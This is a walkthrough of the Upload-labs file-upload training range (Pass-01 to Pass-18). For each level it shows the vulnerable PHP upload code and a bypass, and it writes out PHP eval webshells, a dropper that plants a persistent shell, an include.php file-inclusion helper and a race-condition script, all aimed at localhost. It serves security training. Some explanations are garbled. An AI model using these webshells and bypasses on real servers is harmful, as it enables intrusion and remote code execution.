Upload-labs
Pass-01
JS front-end bypass
Upload a one-sentence Trojan with the content:
<?php
@eval($_REQUEST["cmd"]);
?>
Then upload shell.php
You can tell from the pop-up window that yes JS前端验证
, as we all know, front-end verification does not exist.
It can be seen from the form that he used onsubmit
this function to trigger the mouse click event.
After the form is submitted, this function is called return checkfile
to check the uploaded file.
method one:
Create a new html file, copy the source code of the page, modify and delete it and disable thejs脚本
Talk about this function and its content deletion
Then add it in the deleted onsubmit="return checkFile()"
place, which is the submission address of the first level.
action="http://127.0.0.1/upload-labs/Pass-01/index.php"
Method Two:
Modify front-end code directly in the browser
return checkFile()
That is to say, delete it directly in this interface.
delete
However, there is a risk in this approach. It may contain some normal js. If the normal js is deleted, it will affect the normal upload operation.
Method three:
burp packet capture modification
Before uploading, upload a photo in any image format. For example, 1.png
use bp to intercept, cmd.jpg
change filename= to cmd.php
and replace the content of the image with a sentence to bypass the Trojan.
Then go to visit cmd.php
and upload successfully
You can judge the path here by yourself. I changed the upload path of the shooting range into the current folder, so the path is
http://127.0.0.1/upload-labs/Pass-01/cmd.php
The default path of the shooting range is../upload
Pass-02
MIME bypass
Uploading php files directly will be detected
It can be seen from the source code that the backend MIME
verifies the type.
Use burp to capture packets and modify themMIME类型
Modify to image/jpeg
, upload successfully
Pass-03
Special parsing suffix bypass
File upload shell.php
failed due to backend verification
It can be seen from the code that it is blacklist filtering
Only these specific suffixes are filtered out, then we can bypass the filtering through php aliases
PHP has been developed for so long. There is more than just this file name. We can use other PHP aliases to bypass: .php3 .php4 .php5 .phtml .phtm .phps .phpt .php345 (but there are prerequisites here) ) It means that the configuration of the other party's server has configured parsing settings for these other PHP file names. Even if you upload it, the parsing will still fail.
So you can upload .phtml
the php file with the suffix
You can see that the upload was successful
Pass-04
.htaccess parsing file bypass
Basically, all suffix names related to php are filtered here, but there is no .htaccess
verification, so we can .htaccess
bypass it with
.htaccess function introduction: The htaccess file is a configuration file in the Apache server. This file can change the configuration of all files in this directory without obtaining root permissions. Then it means that as long as you create a .htaccess file, write the PHP configuration, and upload it to the server, then the configuration of all files in the directory where the .htaccess is located will be modified to be converted into the PHP parsing format. (.htaccess files are only valid for Apache servers).
First create a .htaccess
file and write
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
Then upload the file
Change the one-sentence Trojan file to jpg
the format and then upload it
Access cmd.jpg
to display phpinfo information
Pass-05
The source code is as follows
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
Comparing this with the previous source code, we can find that no strtolower()
function is used, that is, the suffixes are converted to lowercase, then we can use uppercase and lowercase to bypass
Upload first shell.php
, then use burp to capture the packet, and change the suffix toPHP
Visit shell.php
getshell
Pass-06
Space bypass
The source code is as follows
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
It can be seen from the source code that the use of spaces in file name suffixes is not trim()
filtered.
trim(): remove the white space on the left and right sides
With the help of the characteristics of the Windows system, the spaces in the file name will be treated as empty when the file is finally saved, and the following spaces will be automatically deleted when saving.
So we can upload the file and add a space at the end of the file, that is
Upload successful
Pass-07
Bypass
The source code is as follows
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
It can be seen from the source code that the dots at the end of the file name are not deldot
filtered and the dots at the end are not deleted. Therefore, you can use the characteristics of Windows to add the suffix to the file name .
and then upload it. Windows will automatically remove the following dots. Then save the file, you can use this feature to upload the file
Upload the php file and add a to the file suffix.
Upload successful
Pass-08
The source code is as follows
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
str_ireplace()
Through code audit, it can be found that there is no filtering used here ::$DATA
and no replacement with empty
::$DATA
:: DATA This is a feature of the Windows operating system when processing files. It is a file stream. If there is this mark after the file name: : DATA This is a feature of the Windows operating system when processing files. It is a file stream. If the file name is followed by this mark::D A T A This is a feature of the Windows operating system when processing files. It is a file stream. If there is this mark after the file name:: DATA, and no filtering is done, Windows will save the file directly without checking. The purpose of using it is not to check the suffix name.
So we only need to add::$DATA after the file name to successfully bypass
Upload a php file and add after the file::$DATA
Upload successful
Pass-09
Logic bypass
The source code is as follows
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
You can see that basically all .htaccess
included files have been filtered, and strtolower()
functions have also been added, so let’s change the idea
bypass ideas
$file_name = deldot($file_name);//删除文件名末尾的点
The point is here. It can be seen from the code that all filtering is one-time filtering. The dot at the end is deleted here. It is only deleted once.
Then we can use . .
to bypass. deldot()
The function of this function is to delete the end point. When the end point is checked, it will be deleted and then continue to detect the previous point. However, the deldot function will stop when it encounters a space. It is equivalent to terminating the operation when a space is encountered. So we just need to use dot+space+dot to bypass when uploading files.
In this way, when checking our file, it was originally not in the blacklist, so it can shell.php. .
be shell.php.
uploaded. Taking advantage of the system's features, the system automatically removed shell.php.
the last one when saving the file .
, and finally it becameshell.php
Next upload
Change the file name suffix to.php. .
After visiting shell.php
, the upload was successful
Pass-10
Double write bypass
hint:
This pass will remove .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1 from the file name. |.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|. jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr| .sWf|.swf|.htaccess characters!
The source code is as follows:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
$img_path = $UPLOAD_ADDR . '/' .$file_name;
$is_upload = true;
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
The key point here is that str_ireplace($deny_ext,"", $file_name)
this function replaces all the suffixes that appear in the blacklist in the file name with nothing. If we upload a file shell.php
and it becomes filtered shell
, there will be no suffix that cannot be parsed, but it uses a one-time Filtering, for example, if we upload shell.phpphp
, then after being filtered once, the file we originally uploaded will becomeshell.php
Upload files, capture packets and modify them with burp
Upload successful, getshell
Note, do not change the suffix here to phpphp
, otherwise it will still be deleted and becomeshell
Pass-11
GET %00 truncated
hint:
The upload path of this pass is controllable!
The source code is as follows
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = '上传失败!';
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
code analysis
$ext_arr = array('jpg','png','gif');
Here we use an array to make a whitelist
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
The suffix of the intercepted file name is intercepted starting from the position of the dot, and intercepted using a circular method instead of one-time($_FILES['upload_file']['name'])
verification.
if(in_array($file_ext,$ext_arr))
Determine whether the uploaded file name suffix is in the whitelist, and if so, enter the loop.
$temp_file = $_FILES['upload_file']['tmp_name'];
Enter the loop, place the uploaded file in a temporary directory, and generate a temporary file name5.
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
(This step is the key) Use$_GET['save_path']
the method to accept a custom path and randomly generate a file name from an array of 10 and 99, and concatenate it with the suffix name intercepted before $file_Ext.6. Finally move the temporary file
(move_uploaded_file($temp_file,$img_path))
saved earlier to$temp_file
$img_path
Here is %00截断
the method
Principle:
%00截断
The vulnerability of PHP is exploited. The basis of PHP is implemented in C language. In C language, it is regarded%00
as the end symbol, so the characteristics of C are based on it. In thePHP<5.3.4
version of , I encounteredmove_uploaded_file
this function when storing files. When, this function reads00
the character with a hex value of
Bypass ideas:
The whitelist is used first. It can be seen from the code that he first verifies the suffix of the uploaded file name.
So $_FILES['upload_file']['name']
when we upload it in the first step, the file name must be suffixed in .jpg.png.gif
the format. After bypassing the verification of the suffix name, it enters the loop. The last important point is that the file he saves $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
is determined by the upload path and the original parameters $_GET['save_path'],save_path=../upload/
. Then the upload path is controllable. We will use it %00截断
to change the uploaded path to the file name. Finally, use move_uploade_file
this function to exert the %00 truncation function
%00 can only be used for PHP versions lower than 5.3. Here we need to switch the version of phpstudy and turn off magic_quotes_gpc. Take phpstudy as an example. Other options menu—php extensions and settings—parameter switch settings—turn off magic_quotes_gpc.
Since the php5.2.x version here has been failing to download, let me demonstrate the idea.
First upload a jpg
file whose content is a one-sentence Trojan
Add it to the upload path 1.php%00
, the php name here does not matter
Then after the upload is successful, the following pictures will be truncated, and then access 1.php to get the webshell
Pass-12
POST %00 truncated
hint
The upload path of this pass is controllable!
The source code is as follows:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
This level is the same as level 12, but the method of receiving the path has changed from GET to POST, so we can use burp to capture the packet and then modify the value in the data packet. But one thing to note is that truncation is used in GET requests %00
, but url encoding is required in POST.
Upload .jpg
the file and then capture the packet with burp
Then modify the post path above and use%00截断
But pay attention here, the %00 here must be decoded first
Then access 1.php
getshell
Pass-13
File header detection
hint
This pass checks the first 2 bytes of the icon content!
The source code is as follows
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
This level will read and determine the first two bytes of the uploaded file to determine the uploaded file type, and the backend will rename the uploaded file based on the determined file type.
We found that the first two bytes of the file are detected here, and getReailFileType()
the function will detect the file header. If the final result is not unknow
, the image can be uploaded. Because the program only detects the first two bytes, we can bypass the detection by inserting a Trojan sentence at the end of the hexadecimal number of a normal picture through the picture horse method.
Use 图片马 + 文件包含
bypass
Additional knowledge:
- Png picture files include 8 bytes: 89 50 4E 47 0D 0A 1A 0A. That is .PNG.
- Jpg image files include 2 bytes: FF D8.
- Gif image files include 6 bytes: 47 49 46 38 39|37 61. That is GIF89(7)a.
- Bmp picture files consist of 2 bytes: 42 4D. That is BM.
So first we need to make a picture horse, which 111.jpg
is a normal picture and shell.php
a sentence Trojan. Generate a new picture shell.jpg
and implement it through the following command
copy 111.jpg/b+shell.php shell.jpg
then uploadshell.jpg
After the upload is successful, right-click to copy the image link and get the image path.
upload-labs/Pass-13/7720230803165514.jpg
Um, I looked at the shooting range and there were files containing files before, but they don’t exist now, so create one yourself.
/upload-labs
Create a file under the path with include.php
the following content:
<?php
$file=$_GET['file'];
include($file)
?>
Then construct the payload:
http://127.0.0.1/upload-labs/include.php?file=/Pass-13/7720230803165514.jpg
getshell
Pass-14
File header detection
hint
This pass uses getimagesize() to check whether it is an image file!
The source code is as follows:
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
Function analysis:
getimagesize(): Used to obtain the image size and related information. It returns an array if successful. If it fails, it returns FALSE and generates an E_WARNING level error message. Will determine the size of any GIF, JPG, PNG, SWF, SWC, PSD, TIFF, BMP, IFF, JP2, JPX, JB2, JPC, XBM or WBMP image file and return the image's dimensions along with the file type and image height and width.
image_type_to_extension(): Returns the corresponding suffix name according to the specified image type.
stripos(): Find the first occurrence of a string in another string (case-insensitive).
Here, the entire file will be tested to determine whether it is an image file, and the image format can only be .jpeg|.png|.gif
. Therefore this level can still be bypassed using the picture horse method. The method of making a picture horse is the same as the previous level, so I won’t go into details.
copy 111.png/b+shell.php shell.png
Then png文件
upload, copy the image link
/Pass-14/3020230803171706.png
Use the previously created include.php
file inclusion, payload:
http://127.0.0.1/upload-labs/include.php?file=/Pass-14/3020230803171706.png
Pass-15
File header detection
hint:
This pass uses exif_imagetype() to check whether it is an image file!
The source code is as follows
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
}
else{
$msg = "上传失败";
}
}
}
Additional knowledge: exif_imagetype() reads the first byte of an image and checks its suffix.
The return value is the same as the index 2 returned by the getimage() function, but is much faster than getimage. The module needs to be enabledphp_exif
.
Basically the same as the previous two questions, upload 111.png
and then copy the image link
/Pass-15/9120230803172111.png
Utilize files containing getshell
http://127.0.0.1/upload-labs/include.php?file=/Pass-15/9120230803172111.png
Pass-16
secondary rendering
hint
This pass re-renders the image!
The source code is as follows:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=$UPLOAD_ADDR.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagejpeg($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagepng($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path))
{
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
$newimagepath = $UPLOAD_ADDR.$newfilename;
imagegif($im,$newimagepath);
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = $UPLOAD_ADDR.$newfilename;
unlink($target_path);
$is_upload = true;
}
}
else
{
$msg = "上传失败!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
In this level, the uploaded image was judged 后缀名
, content-type
, and used to imagecreatefromgif
determine whether it was gif
an image. Finally, a secondary rendering was performed. However, the back-end secondary rendering needs to find the Hex places that have not changed in the rendered image. Add a sentence Then, execute a sentence through the file inclusion vulnerability, and use Ant Sword to connect
Supplementary knowledge:
Secondary rendering: backend rewrites file contentbasename(path[,suffix]), if suffix is not specified, the suffix name will be returned, if suffix is specified, the specified suffix name will not be returned.
The strrchr(string,char) function finds the last occurrence of a string in another string and returns all characters from that position to the end of the string.
imagecreatefromgif(): Create a canvas and load an image from a GIF file or URL address
imagecreatefromjpeg(): Create a canvas and load an image from a JPEG file or URL address
imagecreatefrompng(): Create a canvas and load an image from a PNG file or URL address
The level prompts secondary rendering. The content of the secondary rendered image will change. For example: we insert a sentence Trojan at the bottom of a gif image.
After uploading the file, a new file was generated in the directory. Use 010 to view the file and found that the Trojan horse has disappeared.
But there is a solution. We looked at the gif before uploading and the gif after uploading, and found that some of the content has not changed.
Suppose we insert a Trojan in this part, then we can bypass the Trojan that disappears after being rendered.
In order to facilitate testing, a GIF image provided by a big guy on the Internet is provided.
Secondary rendering of file upload (special image).zip
We will open the downloaded file with 010Editor
010, then use the comparison function to find the unchanged place and insert a sentence Trojan
Construct payload:
http://127.0.0.1/upload-labs/include.php?file=e:\phpstudy_pro\WWW\upload-labs\Pass-1614307.gif
getshell
Pass-17
Conditional competition
The source code is as follows:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = $UPLOAD_ADDR . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
unlink($upload_file);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传失败!';
}
}
When judging our file here, we first upload the file to the directory if(move_uploaded_file($temp_file, $upload_file))
. If the file matches the file suffix, rename it and save it. Otherwise, unlink()
the function will delete the file in the directory.
It seems that if we still upload a picture horse, the website still has file inclusion vulnerabilities and we can still exploit it. But if no file contains a vulnerability, we can only upload a php Trojan to parse and run.
Therefore, we try to access the file when it has not been deleted. Here is 条件竞争
the method used to achieve it:
We can use burp multi-threading to send packets, and then continue to access ours in the browser webshell
, and the access will be successful in an instant.
First, upload a one-sentence Trojan, then use burp to capture the packet, move it into Intruder
the module, change the mime to the image type, and remove all marking points
For better effect here, change the one-sentence Trojan to
<?php fputs(fopen('Leaf.php','w'),'<?php @eval($_POST["Leaf"])?>');?>
Keep replaying this php file through burp, and then keep accessing the file we uploaded. There will always be a moment when it can be accessed before it can be deleted. Once the file is accessed, it will be A one-sentence Trojan is generated in the current directory Leaf.php
. This is also a good idea during normal penetration testing. Because simply accessing the attached phpinfo()
files has no effect. Once deleted it is still unavailable. However, the server generated by this method Leaf.php
will not be deleted, and we can connect it through Ant Sword.
Then configurePayload
Then we write a python script to continuously access the PHP file we uploaded (that is, shell.php
the file shown above)
import requests
url = "http://127.0.0.1/upload-labs/Pass-17/shell.php" #文件上传路径
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
Once the script is ready, you can let burp start the attack and run the script at the same time
When the script echoes OK
, it means that shell.php
it has been executed successfully.
Created successfullyLeaf.php
successful getshell
Pass-18
Conditional competition
The source code is as follows:
//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload($UPLOAD_ADDR);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
//myupload.php
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
......
......
......
};
The key statement is
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
Judging from the source code, the server first compares the file suffix with the whitelist, and then checks the file size and whether the file already exists. The file was then renamed after it was uploaded.
From this point of view, PHP cannot upload, it can only upload the image horse, and it needs to be accessed before the image horse is renamed. In order for the image horse to be executed, other vulnerabilities must be coordinated, such as file inclusion, apache parsing vulnerabilities, etc.
Here again, insert the code from the previous level into the picture to create a picture horse. Then access the image horse through file inclusion.
cmd execute command
copy 111.png/b+upload.php upload.jpg
The upload.php
content is
<?php fputs(fopen('Leaf.php','w'),'<?php @eval($_POST["Leaf"])?>');?>
But there seems to be a problem with the upload path of the file in this question myupload.php
. Please modify it.
will be $this->cls_upload_dir = $dir;
modified to $this->cls_upload_dir = $dir.'/';
Then upload the image to the horse, intercept it with burp and send it to the destination 测试器(Intruder)
